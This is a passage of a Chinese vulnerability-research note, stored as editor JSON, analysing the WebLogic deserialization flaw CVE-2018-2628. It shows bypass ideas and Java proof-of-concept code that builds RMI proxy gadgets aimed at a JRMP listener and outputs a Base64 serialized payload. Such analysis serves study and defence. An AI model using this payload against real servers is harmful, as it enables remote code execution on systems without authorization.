#34;:[{&#34;text&#34;:&#34;通过修改接口类，比如网上公开的poc用&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;java.rmi.activation.Activator替换java.rmi.registry.Registry，但其实这里对类接口没什么要求，&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aLLY-1677056709175&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Znnm-1677056709173&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;换成Map都行：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i7cG-1677056755277&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6023/WEBRESOURCEd79ed2230e304dd389d6f5f8dc866eef&#34;,&#34;width&#34;:616,&#34;height&#34;:263},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6023/WEBRESOURCEd79ed2230e304dd389d6f5f8dc866eef&#34;,&#34;initialSize&#34;:{&#34;width&#34;:616,&#34;height&#34;:862},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vt6E-1677058295281&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ESLJ-1677058295282&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CZCq-1677054079473&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sN6S-1677054079472&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;POC3:&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IZwi-1677056772198&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qVdx-1677056772197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;StreamMessageImpl绕过resolveProxyClass检查，StreamMessageImpl的反序列化流程在&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34;CVE-2016-0638&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;中已分析过，就不再赘述。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tOkK-1677057082166&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eOvL-1677057082164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ApRh-1677057084096&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ol8F-1677057084094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;POC代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qqa8-1677058209381&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZrYz-1677058209264&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eykb-1677058209263&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.server.UnicastRef;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D9CH-1677058209266&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2hHD-1677058209265&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.transport.LiveRef;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0AS8-1677058209268&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hu7K-1677058209267&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.transport.tcp.TCPEndpoint;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dRHo-1677058209270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kgzy-1677058209269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.jms.common.StreamMessageImpl;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jf5R-1677058209272&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dgje-1677058209271&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XHrE-1677058209274&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bZW9-1677058209273&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.management.remote.rmi.RMIAuthenticator;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2GFw-1677058209276&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iHsp-1677058209275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.*;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u60J-1677058209278&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Pboi-1677058209277&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Proxy;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZvHu-1677058209280&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KUVA-1677058209279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.activation.Activator;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wAD5-1677058209282&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oLkR-1677058209281&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.registry.Registry;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bYzy-1677058209284&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2RPH-1677058209283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.server.ObjID;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;obV6-1677058209286&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;in6D-1677058209285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.server.RemoteObjectInvocationHandler;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;whMF-1677058209288&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CHFA-1677058209287&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Base64;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;850J-1677058209290&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d2zc-1677058209289&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Hashtable;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W58E-1677058209292&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WF1H-1677058209291&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Map;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gu8i-1677058209294&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2BXV-1677058209293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Random;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tYEE-1677058209297&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r0a3-1677058209295&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eH3Q-1677058209299&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jWUk-1677058209298&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2018_2628 {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZfmZ-1677058209301&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0GCc-1677058209300&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static Object getPoc1() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SiIR-1677058209303&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FFVt-1677058209302&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjID id = new ObjID(new Random().nextInt());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o3Ef-1677058209305&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7gVR-1677058209304&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        TCPEndpoint tcpEndpoint = new TCPEndpoint(\&#34;127.0.0.1\&#34;, 6666);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vOID-1677058209307&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J02l-1677058209306&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zZpp-1677058209309&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gBR5-1677058209308&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return unicastRef;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BT8R-1677058209311&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kfiy-1677058209310&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dFIp-1677058209313&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WWL2-1677058209312&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ojn3-1677058209315&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;33QH-1677058209314&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static Object getPoc2() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aww6-1677058209317&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;36nN-1677058209316&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjID id = new ObjID(new Random().nextInt());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uvZj-1677058209319&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TMMq-1677058209318&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        TCPEndpoint tcpEndpoint = new TCPEndpoint(\&#34;127.0.0.1\&#34;, 6666);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LlIu-1677058209321&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;geF6-1677058209320&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ho7H-1677058209323&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0g67-1677058209322&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qCp4-1677058209325&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zPUu-1677058209324&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //Any Interface&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ctXC-1677058209327&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ogRc-1677058209326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Map map = (Map) Proxy.newProxyInstance(CVE_2018_2628.class.getClassLoader(), new Class[]{Map.class}, handler);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L9UD-1677058209329&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UW5Z-1677058209328&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return map;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w9JX-1677058209331&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RRmv-1677058209330&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iBem-1677058209333&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aOB8-1677058209332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IP1w-1677058209335&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YDxY-1677058209334&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static Object getPoc3() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cQHw-1677058209337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MN3z-1677058209336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjID id = new ObjID(new Random().nextInt());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GtgR-1677058209339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hc4a-1677058209338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        TCPEndpoint tcpEndpoint = new TCPEndpoint(\&#34;127.0.0.1\&#34;, 6666);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qnCF-1677058209341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mFz7-1677058209340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xsff-1677058209343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kZCw-1677058209342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rghl-1677058209345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jqJS-1677058209344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Map map = (Map) Proxy.newProxyInstance(CVE_2018_2628.class.getClassLoader(), new Class[]{Map.class}, handler);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iZPg-1677058209347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gsJ5-1677058209346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return new StreamMessageImpl(map);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LXux-1677058209349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x0Hv-1677058209348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H7oc-1677058209351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QsD2-1677058209350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xwE7-1677058209353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fis0-1677058209352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Fn8-1677058209355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gFz3-1677058209354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Ncf-1677058209357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FqH0-1677058209356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream fout = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;quBR-1677058209359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k8wn-1677058209358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;loao-1677058209361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JvpW-1677058209360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.writeObject(getPoc3());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MBXH-1677058209363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X9iK-1677058209362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zQUN-1677058209365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p2BY-1677058209364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hf0U-1677058209367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xcRw-1677058209366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;enFL-1677058209370&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CXMJ-1677058209368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fout.toByteArray());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gJAK-1677058209372&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uIvU-1677058209371&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fUYU-1677058209374&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lRNw-1677058209373&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        inputStream.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YvV1-1677058209376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b1ym-1677058209375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    